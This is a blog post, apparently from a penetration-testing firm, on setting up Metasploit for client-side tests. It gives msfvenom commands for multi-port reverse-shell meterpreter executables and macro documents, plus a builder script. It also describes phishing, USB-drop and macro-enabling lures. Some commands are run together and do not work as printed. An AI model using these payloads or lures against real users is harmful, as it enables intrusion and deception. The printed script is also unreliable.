•  Oxford: +44 (0)1865 877830 
  • Manchester: +44 (0)161 713 0176 
  •  London: +44 (0)203 5983740 
  •  New York: +1 646-781-7580 
  • Dubai: +971 (0)4 427 0429

Configuring Metasploit for Client Side Attacks

You are here

22

Nov

Configuring Metasploit for Client Side Attacks


During a client side test, several areas need to be setup for a successful attack. In this short article I will describe how to configure Metasploit by making use of the features in the latest release (currently 4.1). The client side attack we are considering here is an email with a link to a download, or a USB key with an executable. First off it is common sense to leave a session in listening mode and to log everything. The best way to achieve that is by using both a screen session and the spool command as shown below:

 # screen
msf> spool mylog.log 

Metasploit is not too verbose by default so it’s useful to turn on some debug settings:

msf> set ConsoleLogging true
msf> set LogLevel 5
msf> set SessionLogging true
msf> set TimestampOutput true

Also it’s convenient to know what is going on and when. A good trick is to edit the Metasploit prompt as shown below:

msf> set PROMPT %T S:%S J:%J 

The output will show you the current data, sessions and jobs. An example is shown below:

2011-11-03 16:52:56 +0000 S:5 J:4 > 

Obviously you can customize your prompt as you desire. The full list of the options is listed below:

%D = Current local director
%H = Host name
%J = Current number of jobs running
%L = Local IP
%S = Currently number of sessions open
%T = Time stamp
%U = Username

Additionally I suggest setting the option ExitOnSession to false as shown below:

msf> set ExitOnSession false 

In this way you will be still in listening mode even if a closed meterpreter connection occurs. Moreover, you can create a file called in your .msf4 directory (.msf4/msfconsole.rc) in order to set up the configurations every time you start the msfconsole. After the box is ready we should think about a good strategy to achieve a successful client side attack. Often you don’t know much about the customer’s network. Sometimes you aren’t sure if some ports are really filtered or closed. In this kind of situation the best approach is to attempt as much as you can. The idea is to create a single exe file that it is going to establish several connections on different ports. This can be done by msfvenom as shown below:

msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai
LHOST=192.168.91.135
LPORT=80
exitfunc=thread > /tmp/msf.raw msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai
LHOST=192.168.91.135
LPORT=443
exitfunc=thread -c /tmp/msf.raw > /tmp/msf1.raw msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai
LHOST=192.168.91.135
LPORT=21
exitfunc=thread -c /tmp/msf1.raw > msf.exe

This will create a single exe file which it will establish multiple connections when it is run as shown below:

[*] Meterpreter session 37 opened (192.168.91.135:80 -> 192.168.91.129:1478) at 2011-11-03 15:11:57 +0000
[*] Meterpreter session 38 opened (192.168.91.135:443 -> 192.168.91.129:1477) at 2011-11-03 15:11:57 +0000
[*] Meterpreter session 39 opened (192.168.91.135:21 -> 192.168.91.129:1476) at 2011-11-03 15:11:57 +0000

Likewise you can use this feature for a VBScript attack in order to create a malicious Word document as well. You should repeat the first two steps to create the raw file and then you have to choose the VBA output in the last step as shown below:

msfvenom -p windows/meterpreter/reverse_tcp -f vba -e x86/shikata_ga_nai
LHOST=192.168.91.135
LPORT=21
exitfunc=thread -c /tmp/msf1.raw > msf.vba

As written in the file msf.vba you have to copy the macro code section in the Office macro editor and append the payload data section to the end of the document content. I suggest using blank and small characters. Also you should write something to influence the user to enable the macro such as “Please enable your macro to see this document correctly”. Once you have prepared the files you can choose different strategies to deliver it to the target. An option can be by putting all in USB sticks and leaving them on the target desk. Alternatively you can upload these files onto a web server and then send a phishing email with the links to the malicious files. Obviously the email should influence the reader to download and execute that files. Note that file may be detected by antivirus on the client system - antivirus evasion is not the topic of this article. Finally a little script to create the executable or VBA files automatically:

#!/bin/bash 
# Simple builder
LHOST="192.168.91.135"
LPORTS="4444 5555 6666"
rm -fr /tmp/msf.raw rm -fr /tmp/msf1.raw
echo "Building…"
echo -n "Port: `echo $LPORTS | cut -d " " -f 1`" 
echo "" msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai 
LHOST=$LHOST 
LPORT=`echo $LPORTS | cut -d " " -f 1` exitfunc=thread > /tmp/msf.raw 

for LPORT in `echo $LPORTS` do 
    echo -n "Port: $LPORT"
    echo "" msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST
    LPORT=$LPORT
    exitfunc=thread -c /tmp/msf.raw > /tmp/msf1.raw cp /tmp/msf1.raw /tmp/msf.raw 
done

# Change option –f exe to –f vba in order to create a vba file 
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai
LHOST=$LHOST
LPORT=$LPORT
exitfunc=thread -c /tmp/msf1.raw > msf.exe rm -fr /tmp/msf.raw rm -fr /tmp/msf1.raw
echo -n "Done!"

Posted by Michele

Leave a comment